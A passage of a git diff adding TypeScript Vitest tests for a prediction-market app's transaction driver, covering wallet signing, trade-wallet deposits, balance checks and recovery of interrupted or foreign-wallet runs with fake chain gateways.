} from "vitest"; + +import { ctx, fakeQuoter, fakeReader, snapshot, WAD } from "../../flow/__tests__/support/fakes"; +import { predictSteps } from "../../utils/predictSteps"; +import { createPredictRun } from "../driver"; +import type { PredictDriver } from "../types"; + +const WALLET = "0xdcee0000000000000000000000000000000c664f" as const; + +/** A wallet that signs when the test says so, and a chain that never mines. */ +function heldGateway() { + const signRequests: FlowTx[] = []; + let sign: ((hash: Hash) => void) | undefined; + const gateway: TxGateway = { + sendTransaction: (tx) => { + signRequests.push(tx); + return new Promise((resolve) => (sign = resolve)); + }, + waitForReceipt: () => new Promise(() => {}), + getReceipt: () => Promise.resolve(null), + isKnown: () => Promise.resolve(true), + }; + return { + gateway, + signRequests, + sign: (hash: Hash) => sign?.(hash), + }; +} + +let driver: PredictDriver | undefined; +afterEach(() => driver?.dispose()); + +const fundsRow = (run: PredictDriver) => + predictSteps({ + wallet: { address: WALLET, deployed: true }, + toAdd: WAD * 3n, + symbol: "sDAI", + decimals: 18, + progress: run.getProgress(), + }).rows.find((row) => row.key === "funds"); + +describe("createPredictRun while the deposit is out with the wallet", () => { + it("shows Add funds running with the wallet prompt while signing, then confirming once the hash is known", async () => { + const held = heldGateway(); + const reader = { ...fakeReader({ deployed: true }), collateralBalance: async () => WAD * 2n }; + driver = createPredictRun({ + gateway: held.gateway, + reader, + quoter: fakeQuoter(), + flowId: "predict-step-status", + ctx: () => ctx(), + snapshot: () => snapshot({ deposit: WAD * 3n, collateralIn: WAD * 5n, collateralBefore: WAD * 2n }), + }); + + driver.start(); + await vi.waitFor(() => expect(held.signRequests).toHaveLength(1)); + await vi.waitFor(() => expect(driver!.getProgress().stage).toBe("signing")); + + const signing = fundsRow(driver); + expect(signing?.view).toBe("running"); + expect(signing?.subtitle).toBe("Confirm in your wallet"); + + const hash = `0x${"1".padStart(64, "0")}` as Hash; + held.sign(hash); + await vi.waitFor(() => expect(driver!.getProgress().stage).toBe("confirming")); + + const confirming = fundsRow(driver); + expect(confirming?.view).toBe("running"); + expect(confirming?.subtitle).toBe("Confirming…"); + // stored as sent, so the popup may close while its receipt is waited on + expect(driver.getProgress().sentHash).toBe(hash); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.strandedRun.test.ts b/apps/web/src/features/predict/run/__tests__/driver.strandedRun.test.ts new file mode 100644 index 00000000..d22543d1 --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.strandedRun.test.ts @@ -0,0 +1,285 @@ +import { + createFlowRunStore, + createMemoryStorage, + DEFAULT_RUN_TTL_MS, + type FlowTx, + type StepSummary, + type TxGateway, +} from "@foresight/tx-orchestrator"; +import type { Address, Hash, TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { addresses, ctx, fakeQuoter, fakeReader, option, snapshot, WAD } from "../../flow/__tests__/support/fakes"; +import { STEP_ID } from "../../flow/plan"; +import type { PredictCtx, PredictOption, PredictSnapshot, PredictReader, UnansweredSend } from "../../flow/types"; +import { createPredictRun, SEND_HOLD_MS } from "../driver"; +import { discardRun, findInterruptedRun, hasPendingTransaction, predictFlowId, unsettledRun } from "../interrupted"; +import type { PredictDriver } from "../types"; + +const SESSION = "session-7"; +const FLOW_ID = predictFlowId(SESSION, addresses.owner); +const ATTACKER = "0x00000000000000000000000000000000000000ad" as Address; +const DEPOSIT_HASH = `0x${"d".repeat(64)}` as Hash; +const REPLACEMENT = `0x${"a".repeat(64)}` as Hash; +const DEPOSIT_TX: FlowTx = { to: addresses.collateral, data: "0x1234", value: 0n }; + +const clock = { at: 1_700_000_000_000 }; + +const label = "Add money to your trade wallet"; +const depositAs = (outcome: StepSummary["outcome"]): StepSummary[] => [ + { stepId: STEP_ID.createExecutor, label: "Set up your trade wallet", outcome: { status: "skipped" } }, + { stepId: STEP_ID.deposit, label, outcome }, + { stepId: STEP_ID.predict(1), label: "Making your prediction", outcome: { status: "pending" } }, +]; + +const send = (heldAt = clock.at): UnansweredSend => ({ + owner: addresses.owner, + nonce: 4, + fromBlock: 100n, + tx: DEPOSIT_TX, + heldAt, +}); + +/** A run stored under A's key that names another trade wallet than the app, which can never resume. */ +function stored(args: { + steps: StepSummary[]; + sent?: UnansweredSend; + unanswered?: UnansweredSend; + savedCtx?: PredictCtx; + options?: PredictOption[]; +}) { + const store = createFlowRunStore({ storage: createMemoryStorage(), now: () => clock.at, unsettled: unsettledRun }); + store.save({ + flowId: FLOW_ID, + adapterId: "predict-flow", + status: "paused", + reason: "rejected", + ctx: args.savedCtx ?? ctx({ executor: ATTACKER }), + snapshot: { + ...snapshot({ deposit: WAD, collateralIn: WAD, collateralBefore: 0n }), + ...(args.options ? { options: args.options } : {}), + ...(args.sent ? { sent: { [STEP_ID.deposit]: args.sent } } : {}), + ...(args.unanswered ? { unanswered: { [STEP_ID.deposit]: args.unanswered } } : {}), + }, + steps: args.steps, + }); + return store; +} + +const receiptOf = (hash: Hash, status: "success" | "reverted" = "success") => + ({ transactionHash: hash, status, blockNumber: 19_000_000n }) as TransactionReceipt; + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +function recover( + store: ReturnType, + chain: { + receipts?: Partial>; + known?: boolean; + sentWithNonce?: PredictReader["sentWithNonce"]; + sessionOptions?: () => PredictOption[]; + }, +) { + const signRequests: FlowTx[] = []; + const gateway: TxGateway = { + sendTransaction: (tx) => { + signRequests.push(tx); + return Promise.reject(new Error("nothing is signed for a run that cannot resume")); + }, + waitForReceipt: () => new Promise(() => undefined), + getReceipt: (hash) => Promise.resolve(chain.receipts?.[hash] ?? null), + isKnown: () => Promise.resolve(chain.known ?? false), + }; + const reader = { + ...fakeReader({ deployed: true, collateral: WAD }), + ...(chain.sentWithNonce ? { sentWithNonce: chain.sentWithNonce } : {}), + }; + const driver = createPredictRun({ + gateway, + reader, + quoter: fakeQuoter(), + store, + flowId: FLOW_ID, + ctx: () => ctx(), + snapshot: () => snapshot(), + now: () => clock.at, + sessionOptions: chain.sessionOptions, + }); + drivers.push(driver); + return { driver, signRequests }; +} + +async function recovered(driver: PredictDriver) { + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("unknown")); +} + +/** Close resets the popup; the card's Discard runs once the popup is gone. */ +function closeAndDiscard(driver: PredictDriver, store: ReturnType) { + driver.reset(); + discardRun(store, SESSION, addresses.owner); +} + +const depositOutcome = (store: ReturnType) => + store.load(FLOW_ID)?.steps.find((step) => step.stepId === STEP_ID.deposit)?.outcome; + +describe("createPredictRun recovering a run that names other contracts and still holds a send", () => { + it("lets Close forget a hash no node finds once another transaction took its nonce", async () => { + const store = stored({ steps: depositAs({ status: "submitted", hash: DEPOSIT_HASH }), sent: send() }); + const { driver, signRequests } = recover(store, { + sentWithNonce: ({ nonce }) => Promise.resolve({ status: nonce === 4 ? "taken" : "none" }), + }); + + await recovered(driver); + driver.reset(); + + expect(store.load(FLOW_ID)).toBeNull(); + expect(signRequests).toEqual([]); + }); + + it("lets the card's Discard forget a hash no node finds once its nonce stayed unused past the hold", async () => { + const store = stored({ + steps: depositAs({ status: "submitted", hash: DEPOSIT_HASH }), + sent: send(clock.at - SEND_HOLD_MS), + }); + const { driver } = recover(store, {}); + + await recovered(driver); + driver.dispose(); + expect(hasPendingTransaction(store, SESSION, addresses.owner)).toBe(false); + discardRun(store, SESSION, addresses.owner); + + expect(findInterruptedRun(store, SESSION, addresses.owner)).toBeNull(); + }); + + it("keeps a hash no node finds while its nonce reads unused within the hold", async () => { + const store = stored({ steps: depositAs({ status: "submitted", hash: DEPOSIT_HASH }), sent: send() }); + const { driver } = recover(store, {}); + + await recovered(driver); + closeAndDiscard(driver, store); + + expect(store.load(FLOW_ID)).not.toBeNull(); + }); + + it("keeps a hash no node finds while its nonce reads pending", async () => { + const store = stored({ + steps: depositAs({ status: "submitted", hash: DEPOSIT_HASH }), + sent: send(clock.at - SEND_HOLD_MS), + }); + const { driver } = recover(store, { sentWithNonce: () => Promise.resolve({ status: "pending" }) }); + + await recovered(driver); + closeAndDiscard(driver, store); + + expect(store.load(FLOW_ID)).not.toBeNull(); + }); + + it("stores the step confirmed under the hash its nonce mined, then lets Close forget the run", async () => { + const store = stored({ steps: depositAs({ status: "submitted", hash: DEPOSIT_HASH }), sent: send() }); + const { driver } = recover(store, { + receipts: { [REPLACEMENT]: receiptOf(REPLACEMENT) }, + sentWithNonce: () => + Promise.resolve({ + status: "mined", + hash: REPLACEMENT, + to: DEPOSIT_TX.to, + value: 0n, + input: "0x1234", + success: true, + }), + }); + + await recovered(driver); + expect(depositOutcome(store)).toEqual({ status: "confirmed", hash: REPLACEMENT, blockNumber: 19_000_000n }); + driver.reset(); + + expect(store.load(FLOW_ID)).toBeNull(); + }); + + it("lets Close forget a held send with no hash once another transaction took its nonce", async () => { + const store = stored({ steps: depositAs({ status: "pending" }), unanswered: send() }); + const { driver } = recover(store, { + sentWithNonce: ({ nonce }) => Promise.resolve({ status: nonce === 4 ? "taken" : "none" }), + }); + + await recovered(driver); + closeAndDiscard(driver, store); + + expect(store.load(FLOW_ID)).toBeNull(); + }); + + it("keeps a held send with no hash while its nonce reads unused within the hold", async () => { + const store = stored({ steps: depositAs({ status: "pending" }), unanswered: send() }); + const { driver } = recover(store, {}); + + await recovered(driver); + closeAndDiscard(driver, store); + + expect(store.load(FLOW_ID)).not.toBeNull(); + }); + + it("drops the send kept beside a hash whose receipt reads mined, so the run awaits nothing", async () => { + const store = stored({ + steps: depositAs({ status: "submitted", hash: DEPOSIT_HASH }), + sent: send(), + unanswered: send(), + }); + const { driver } = recover(store, { receipts: { [DEPOSIT_HASH]: receiptOf(DEPOSIT_HASH) } }); + + await recovered(driver); + driver.dispose(); + expect(hasPendingTransaction(store, SESSION, addresses.owner)).toBe(false); + discardRun(store, SESSION, addresses.owner); + + expect(store.load(FLOW_ID)).toBeNull(); + }); + + it("lets Close forget a hash stored with no send once no node knows it and the record is past the old expiry", async () => { + const store = stored({ steps: depositAs({ status: "submitted", hash: DEPOSIT_HASH }) }); + clock.at += DEFAULT_RUN_TTL_MS + 1; + const { driver } = recover(store, {}); + + await recovered(driver); + driver.reset(); + + expect(store.load(FLOW_ID)).toBeNull(); + }); + + it.each([ + ["a node still knows it", true, DEFAULT_RUN_TTL_MS + 1], + ["the record is within the old expiry", false, DEFAULT_RUN_TTL_MS - 1], + ])("keeps a hash stored with no send while %s", async (_, known, age) => { + const store = stored({ steps: depositAs({ status: "submitted", hash: DEPOSIT_HASH }) }); + clock.at += age; + const { driver } = recover(store, { known }); + + await recovered(driver); + closeAndDiscard(driver, store); + + expect(store.load(FLOW_ID)).not.toBeNull(); + }); +}); + +describe("createPredictRun recovering a run whose options differ from the session's and still holds a send", () => { + it("lets Close forget a hash no node finds once another transaction took its nonce", async () => { + const store = stored({ + steps: depositAs({ status: "submitted", hash: DEPOSIT_HASH }), + sent: send(), + savedCtx: ctx(), + options: [{ ...option(1), downToken: ATTACKER }], + }); + const { driver } = recover(store, { + sentWithNonce: ({ nonce }) => Promise.resolve({ status: nonce === 4 ? "taken" : "none" }), + sessionOptions: () => [option(1)], + }); + + await recovered(driver); + driver.reset(); + + expect(store.load(FLOW_ID)).toBeNull(); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.test.ts b/apps/web/src/features/predict/run/__tests__/driver.test.ts new file mode 100644 index 00000000..59a16f4a --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.test.ts @@ -0,0 +1,412 @@ +import { createFlowRunStore, createMemoryStorage, type FlowTx, type TxGateway } from "@foresight/tx-orchestrator"; +import { decodeFunctionData, type Hash, type Hex, type Log, type TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { depositTx } from "@/lib/trade-executor/funding"; + +import { gnosisRouterAbi, tradeExecutorAbi } from "@/config/contracts"; + +import { + addresses, + chainState, + ctx, + fakeQuoter, + fakeReader, + landedTx, + mintLog, + option, + snapshot, + WAD, +} from "../../flow/__tests__/support/fakes"; +import { STEP_ID } from "../../flow/plan"; +import type { OptionChainState, PredictReader, PredictSnapshot } from "../../flow/types"; +import { planFunding } from "../../utils/funding"; +import { MIN_LEG_WEI } from "../../utils/plan"; +import { sqrtPriceX96FromPrice } from "../../utils/poolMath"; +import { predictSteps } from "../../utils/predictSteps"; +import { createPredictRun } from "../driver"; +import type { PredictDriver, PredictProgress } from "../types"; + +/** A wallet that signs everything and a chain that mines it; `logs` are what each mined transaction emits. */ +function fakeGateway(logs: (tx: FlowTx) => Log[] = () => []): TxGateway & { readonly signRequests: FlowTx[] } { + const signRequests: FlowTx[] = []; + const receipt = (hash: Hash): TransactionReceipt => { + const tx = signRequests[Number(BigInt(hash)) - 1]; + return { + transactionHash: hash, + status: "success", + blockNumber: 19_000_000n, + logs: tx ? logs(tx) : [], + } as unknown as TransactionReceipt; + }; + + return { + signRequests, + sendTransaction: (tx) => { + signRequests.push(tx); + return Promise.resolve(`0x${signRequests.length.toString(16).padStart(64, "0")}` as Hash); + }, + waitForReceipt: ({ hash }) => Promise.resolve(receipt(hash)), + getReceipt: (hash) => Promise.resolve(receipt(hash)), + isKnown: () => Promise.resolve(true), + }; +} + +/** A collateral transfer or an xDAI payment to the adapter: money into the trade wallet. */ +const isDeposit = (tx: FlowTx) => tx.to === addresses.collateral || tx.to === addresses.sDaiAdapter; + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +async function runToEnd(snap: PredictSnapshot, state: () => OptionChainState) { + return runToEndWith(snap, fakeReader({ deployed: true, state })); +} + +async function runToEndWith(snap: PredictSnapshot, reader: PredictReader) { + const gateway = fakeGateway(); + const driver = createPredictRun({ + gateway, + reader, + quoter: fakeQuoter(), + flowId: `predict-test-${drivers.length}`, + ctx: () => ctx(), + snapshot: () => snap, + }); + drivers.push(driver); + + driver.start(); + await vi.waitFor(() => expect(["halted", "complete"]).toContain(driver.getProgress().stage)); + + return { progress: driver.getProgress(), deposits: gateway.signRequests.filter(isDeposit) }; +} + +/** What the popup says about a halted run. */ +const message = (progress: PredictProgress) => + predictSteps({ wallet: null, toAdd: 0n, symbol: "sDAI", decimals: 18, progress }).failure; + +const withReason = (progress: PredictProgress, reason: "rpc" | "unknown"): PredictProgress => ({ + ...progress, + failure: { reason, retryable: reason === "rpc" }, +}); + +/** Both pools already priced at the estimate, so nothing moves the market toward it. */ +const atTarget = (targetPriceWad: bigint) => (): OptionChainState => + chainState({ + pools: { + up: { + sqrtPriceX96: sqrtPriceX96FromPrice(targetPriceWad, true), + liquidity: WAD, + tick: 0, + fee: 0n, + ticks: [], + outcomeIsToken0: true, + }, + down: { + sqrtPriceX96: sqrtPriceX96FromPrice(WAD - targetPriceWad, true), + liquidity: WAD, + tick: 0, + fee: 0n, + ticks: [], + outcomeIsToken0: true, + }, + }, + }); + +function expectNoRouteHalt(result: Awaited>) { + const { progress, deposits } = result; + + expect(progress.stage).toBe("halted"); + expect(progress.failure).toBeDefined(); + expect(progress.failure!.reason).not.toBe("rpc"); + expect(progress.failure!.retryable).toBe(false); + expect(deposits).toEqual([]); + + const shown = message(progress); + expect(shown).toBeDefined(); + expect(shown).not.toBe(message(withReason(progress, "rpc"))); + expect(shown).not.toBe(message(withReason(progress, "unknown"))); +} + +describe("createPredictRun when no route moves the market", () => { + it.each([ + ["one wei", 1n], + ["0.001 sDAI", 10n ** 15n], + ["just under the smallest leg", MIN_LEG_WEI - 1n], + ])("halts a dust amount (%s) before the deposit, without blaming the network", async (_, amount) => { + const result = await runToEnd(snapshot({ deposit: amount, collateralIn: amount }), () => chainState()); + + expectNoRouteHalt(result); + }); + + it.each([ + ["25%", WAD / 4n], + ["50%", WAD / 2n], + ["80%", (WAD * 4n) / 5n], + ])("halts an estimate the market already sits at (%s) before the deposit", async (_, target) => { + const result = await runToEnd(snapshot({ options: [option(1, target)] }), atTarget(target)); + + expectNoRouteHalt(result); + }); + + it("tells a returning visitor with nothing to add and nothing held the same thing, not the network message", async () => { + const returning = await runToEnd(snapshot({ deposit: 0n, collateralIn: 0n, collateralBefore: 0n }), () => + chainState(), + ); + const dust = await runToEnd(snapshot({ deposit: 10n ** 15n, collateralIn: 10n ** 15n }), () => chainState()); + + expect(returning.progress.stage).toBe("halted"); + expect(returning.progress.failure?.reason).not.toBe("rpc"); + expect(message(returning.progress)).not.toBe(message(withReason(returning.progress, "rpc"))); + expect(message(returning.progress)).toBe(message(dust.progress)); + }); +}); + +/** The collateral a predict transaction splits at the session's parent. */ +function parentSplit(data: Hex): bigint | undefined { + const decoded = decodeFunctionData({ abi: tradeExecutorAbi, data }); + if (decoded.functionName !== "batchExecute") return undefined; + for (const call of decoded.args[0]) { + if (call.to !== addresses.router) continue; + const inner = decodeFunctionData({ abi: gnosisRouterAbi, data: call.data }); + if (inner.functionName === "splitPosition") return inner.args[2]; + } + return undefined; +} + +describe("createPredictRun and the trade wallet's balance", () => { + it("splits only the deposit and the shown share across generated stale balances", async () => { + let seed = 20_261_008n; + const next = (max: bigint) => { + seed = (seed * 1_664_525n + 1_013_904_223n) % 2n ** 32n; + return (seed * max) / 2n ** 32n; + }; + const rate = (WAD * 5n) / 4n; + for (let index = 0; index < 40; index++) { + const real = next(50n * WAD); + const cached = index % 4 === 0 ? 0n : next(real + 1n); + const native = index % 2 === 0; + const wanted = cached + WAD + next(30n * WAD); + const amount = native ? (wanted * rate + WAD - 1n) / WAD : wanted; + const funding = planFunding({ + amount, + ownWallet: 100n * WAD, + tradeWallet: cached, + ...(native ? { tokenPerCollateralWad: rate } : {}), + }); + const minted = native ? (funding.deposit * WAD) / rate : funding.deposit; + const gateway = fakeGateway((tx) => (tx.to === addresses.sDaiAdapter ? [mintLog(minted)] : [])); + const driver = createPredictRun({ + gateway, + reader: fakeReader({ deployed: true, collateral: real }), + quoter: fakeQuoter(), + flowId: `predict-generated-cache-${index}`, + ctx: () => ctx(), + snapshot: () => + snapshot({ + deposit: funding.deposit, + depositNative: native, + collateralIn: funding.collateralIn, + collateralBefore: cached, + }), + }); + drivers.push(driver); + driver.start(); + await vi.waitFor(() => expect(["halted", "complete"]).toContain(driver.getProgress().stage)); + + expect(driver.getProgress().stage, `case ${index}`).toBe("complete"); + expect(gateway.signRequests.filter(isDeposit)).toHaveLength(1); + const splits = gateway.signRequests.flatMap((tx) => + tx.to === addresses.executor ? (parentSplit(tx.data!) ?? []) : [], + ); + expect(splits, `case ${index}`).toEqual([minted + funding.fromTradeWallet]); + driver.dispose(); + } + }); + + it("splits what an xDAI deposit minted plus the share shown, when the cached balance was low", async () => { + // the adapter mints 1 collateral per 2 xDAI here, so the minted amount is not the deposit + const gateway = fakeGateway((tx) => (tx.to === addresses.sDaiAdapter ? [mintLog((tx.value ?? 0n) / 2n)] : [])); + const driver = createPredictRun({ + gateway, + reader: fakeReader({ deployed: true, collateral: WAD * 5n }), + quoter: fakeQuoter(), + flowId: "predict-xdai-low-cache", + ctx: () => ctx(), + snapshot: () => + snapshot({ deposit: WAD * 12n, depositNative: true, collateralIn: WAD * 9n, collateralBefore: WAD * 3n }), + }); + drivers.push(driver); + + driver.start(); + await vi.waitFor(() => expect(["halted", "complete"]).toContain(driver.getProgress().stage)); + + expect(driver.getProgress().stage).toBe("complete"); + expect(gateway.signRequests.filter(isDeposit)).toHaveLength(1); + const splits = gateway.signRequests.flatMap((tx) => + tx.to === addresses.executor ? (parentSplit(tx.data!) ?? []) : [], + ); + expect(splits).toEqual([WAD * 6n + WAD * 3n]); + }); + + it("goes ahead when the cache is high but the trade wallet still covers the amount", async () => { + const result = await runToEndWith( + snapshot({ deposit: 0n, collateralIn: WAD * 4n, collateralBefore: WAD * 6n }), + fakeReader({ deployed: true, collateral: WAD * 5n }), + ); + + expect(result.progress.stage).toBe("complete"); + }); + + it("resumes a recovered run whose deposit already landed without asking for it again", async () => { + const snap = snapshot({ deposit: WAD * 3n, collateralIn: WAD * 5n, collateralBefore: WAD * 2n }); + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const flowId = "predict-recovered-landed"; + store.save>({ + flowId, + adapterId: "predict-flow", + snapshot: snap, + ctx: ctx(), + status: "running", + steps: [ + { + stepId: STEP_ID.createExecutor, + label: "Set up your trade wallet", + outcome: { status: "confirmed", hash: `0x${"a".repeat(64)}`, blockNumber: 1n }, + }, + { stepId: STEP_ID.deposit, label: "Add money to your trade wallet", outcome: { status: "awaiting-signature" } }, + { stepId: STEP_ID.predict(1), label: "Making your prediction", outcome: { status: "pending" } }, + ], + }); + const gateway = fakeGateway(); + // the deposit signed as the tab closed mined meanwhile + const deposit = depositTx({ + executor: addresses.executor, + asset: { token: addresses.collateral, amount: WAD * 3n }, + }); + const driver = createPredictRun({ + gateway, + reader: fakeReader({ deployed: true, collateral: WAD * 5n, landed: [landedTx(deposit)] }), + quoter: fakeQuoter(), + flowId, + store, + ctx: () => ctx(), + snapshot: () => snap, + }); + drivers.push(driver); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("review")); + expect(gateway.signRequests).toEqual([]); + driver.resume(); + await vi.waitFor(() => { + const progress = driver.getProgress(); + expect(progress.stage === "complete" || progress.failure !== undefined).toBe(true); + }); + + expect(driver.getProgress().stage).toBe("complete"); + expect(gateway.signRequests.filter(isDeposit)).toEqual([]); + }); +}); + +describe("createPredictRun's steps once settled", () => { + const hashOf = (n: number) => `0x${n.toString(16).padStart(64, "0")}` as Hash; + + it("carry the hash each confirmed under, and none where a step was skipped", async () => { + const { progress } = await runToEndWith( + snapshot({ deposit: WAD * 3n, collateralIn: WAD * 5n, collateralBefore: WAD * 2n }), + fakeReader({ deployed: true, collateral: WAD * 5n }), + ); + + expect(progress.stage).toBe("complete"); + expect(progress.steps.map(({ id, hash }) => ({ id, hash }))).toEqual([ + { id: STEP_ID.createExecutor, hash: undefined }, + { id: STEP_ID.deposit, hash: hashOf(1) }, + { id: STEP_ID.predict(1), hash: hashOf(2) }, + ]); + expect(progress.steps[0]).not.toHaveProperty("hash"); + }); + + it("keep a recovered step's stored hash, and give none to a step that landed before its hash was kept", async () => { + const snap = snapshot({ deposit: WAD * 3n, collateralIn: WAD * 5n, collateralBefore: WAD * 2n }); + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const flowId = "predict-receipt-recovered"; + const created = `0x${"a".repeat(64)}` as Hash; + store.save>({ + flowId, + adapterId: "predict-flow", + snapshot: snap, + ctx: ctx(), + status: "running", + steps: [ + { + stepId: STEP_ID.createExecutor, + label: "Set up your trade wallet", + outcome: { status: "confirmed", hash: created, blockNumber: 1n }, + }, + { stepId: STEP_ID.deposit, label: "Add money to your trade wallet", outcome: { status: "awaiting-signature" } }, + { stepId: STEP_ID.predict(1), label: "Making your prediction", outcome: { status: "pending" } }, + ], + }); + const deposit = depositTx({ + executor: addresses.executor, + asset: { token: addresses.collateral, amount: WAD * 3n }, + }); + const driver = createPredictRun({ + gateway: fakeGateway(), + reader: fakeReader({ deployed: true, collateral: WAD * 5n, landed: [landedTx(deposit)] }), + quoter: fakeQuoter(), + flowId, + store, + ctx: () => ctx(), + snapshot: () => snap, + }); + drivers.push(driver); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("review")); + driver.resume(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + + expect(driver.getProgress().steps.map(({ id, hash }) => ({ id, hash }))).toEqual([ + { id: STEP_ID.createExecutor, hash: created }, + { id: STEP_ID.deposit, hash: undefined }, + { id: STEP_ID.predict(1), hash: hashOf(1) }, + ]); + }); +}); + +describe("createPredictRun holding another wallet's saved run", () => { + it("keeps the run in storage when the halted popup is reset", async () => { + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const flowId = "predict-other-owner"; + store.save>({ + flowId, + adapterId: "predict-flow", + snapshot: snapshot(), + ctx: ctx(), + status: "paused", + reason: "rejected", + steps: [{ stepId: STEP_ID.predict(1), label: "Making your prediction", outcome: { status: "pending" } }], + }); + const gateway = fakeGateway(); + const driver = createPredictRun({ + gateway, + reader: fakeReader({ deployed: true }), + quoter: fakeQuoter(), + flowId, + store, + ctx: () => ctx({ owner: `0x${"b".repeat(40)}` }), + snapshot: () => snapshot(), + }); + drivers.push(driver); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("wrong-wallet")); + driver.reset(); + + expect(store.load(flowId)?.ctx).toEqual(ctx()); + expect(gateway.signRequests).toEqual([]); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.tradeWalletBalance.test.ts b/apps/web/src/features/predict/run/__tests__/driver.tradeWalletBalance.test.ts new file mode 100644 index 00000000..6225ea90 --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.tradeWalletBalance.test.ts @@ -0,0 +1,201 @@ +import { createFlowRunStore, createMemoryStorage, type FlowTx, type TxGateway } from "@foresight/tx-orchestrator"; +import { decodeFunctionData, erc20Abi, type Hash, type Hex, type TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { gnosisRouterAbi, tradeExecutorAbi } from "@/config/contracts"; + +import { addresses, ctx, fakeQuoter, fakeReader, snapshot, WAD } from "../../flow/__tests__/support/fakes"; +import { STEP_ID } from "../../flow/plan"; +import type { PredictReader, PredictSnapshot } from "../../flow/types"; +import { predictSteps } from "../../utils/predictSteps"; +import { createPredictRun } from "../driver"; +import type { PredictDriver, PredictProgress } from "../types"; + +/** + * A trade wallet whose collateral only the chain knows. A deposit adds to it when it mines; a + * deposit that is `stuck` was signed but never mines, so the balance does not move. + */ +function chain(opts: { balance: bigint; stuck?: boolean }) { + let balance = opts.balance; + const signRequests: FlowTx[] = []; + /** The balance the wallet held when each request was signed. */ + const balanceAtSign: bigint[] = []; + + const receipt = (hash: Hash): TransactionReceipt => + ({ transactionHash: hash, status: "success", blockNumber: 19_000_000n }) as TransactionReceipt; + + const gateway: TxGateway = { + sendTransaction: (tx) => { + signRequests.push(tx); + balanceAtSign.push(balance); + if (!opts.stuck && tx.to === addresses.collateral && tx.data) { + const { args } = decodeFunctionData({ abi: erc20Abi, data: tx.data }); + if (args[0] === addresses.executor) balance += args[1] as bigint; + } + if (!opts.stuck && tx.to === addresses.sDaiAdapter) balance += tx.value ?? 0n; + return Promise.resolve(`0x${signRequests.length.toString(16).padStart(64, "0")}` as Hash); + }, + waitForReceipt: ({ hash }) => Promise.resolve(receipt(hash)), + getReceipt: () => Promise.resolve(null), + isKnown: () => Promise.resolve(true), + }; + + const base = fakeReader({ deployed: true }); + const reader: PredictReader = { ...base, collateralBalance: () => Promise.resolve(balance) }; + + return { gateway, reader, signRequests, balanceAtSign }; +} + +const isDeposit = (tx: FlowTx) => tx.to === addresses.collateral || tx.to === addresses.sDaiAdapter; +const isBatch = (tx: FlowTx) => tx.to === addresses.executor; + +/** The collateral a predict transaction splits at the session's parent. */ +function parentSplit(data: Hex): bigint { + const decoded = decodeFunctionData({ abi: tradeExecutorAbi, data }); + if (decoded.functionName !== "batchExecute") throw new Error(`Expected batchExecute, got ${decoded.functionName}`); + + for (const call of decoded.args[0]) { + if (call.to !== addresses.router) continue; + const inner = decodeFunctionData({ abi: gnosisRouterAbi, data: call.data }); + if (inner.functionName === "splitPosition" && inner.args[1] === addresses.parentMarket) return inner.args[2]; + } + return 0n; +} + +const message = (progress: PredictProgress) => + predictSteps({ wallet: null, toAdd: 0n, symbol: "sDAI", decimals: 18, progress }).failure; + +const PRICES_MESSAGE = message({ + stage: "halted", + steps: [], + leftOut: [], + batchesDone: 0, + batches: 1, + failure: { reason: "reverted", retryable: false }, +}); + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +describe("a cached trade-wallet balance above the real one", () => { + it.each([ + ["2 sDAI above", WAD * 4n, WAD * 6n], + ["1 wei above", WAD * 6n - 1n, WAD * 6n], + ["all of it, the wallet being empty", 0n, WAD * 6n], + ])("never signs a split for more than the trade wallet holds (cache %s)", async (_, real, cached) => { + const collateralIn = WAD * 10n; + const snap: PredictSnapshot = snapshot({ + deposit: collateralIn - cached, + collateralIn, + collateralBefore: cached, + }); + const world = chain({ balance: real }); + const driver = createPredictRun({ + gateway: world.gateway, + reader: world.reader, + quoter: fakeQuoter(), + flowId: `predict-stale-sdai-${drivers.length}`, + ctx: () => ctx(), + snapshot: () => snap, + }); + drivers.push(driver); + + driver.start(); + await vi.waitFor(() => expect(["halted", "complete"]).toContain(driver.getProgress().stage)); + + const overdrawn = world.signRequests.flatMap((tx, index) => + isBatch(tx) && parentSplit(tx.data!) > world.balanceAtSign[index]! + ? [`split ${parentSplit(tx.data!)} with ${world.balanceAtSign[index]} in the wallet`] + : [], + ); + expect(overdrawn).toEqual([]); + + const progress = driver.getProgress(); + const halt = progress.stage === "halted" ? message(progress) : undefined; + expect(halt === undefined || (halt !== PRICES_MESSAGE && /balance/i.test(halt)), `halted with: ${halt}`).toBe(true); + }); +}); + +describe("an sDAI request that splits more than it deposits and the trade wallet holds", () => { + it("refuses before signing anything", async () => { + // 1 sDAI deposited, none in the trade wallet, 1.0001 asked for + const snap = snapshot({ deposit: WAD, collateralIn: WAD + 10n ** 14n, collateralBefore: 0n }); + const world = chain({ balance: 0n }); + const driver = createPredictRun({ + gateway: world.gateway, + reader: world.reader, + quoter: fakeQuoter(), + flowId: "predict-split-over-deposit", + ctx: () => ctx(), + snapshot: () => snap, + }); + drivers.push(driver); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + + expect(driver.getProgress().failure?.reason).toBe("balance"); + expect(world.signRequests).toEqual([]); + }); +}); + +describe("recovering a run whose deposit was signed but has not 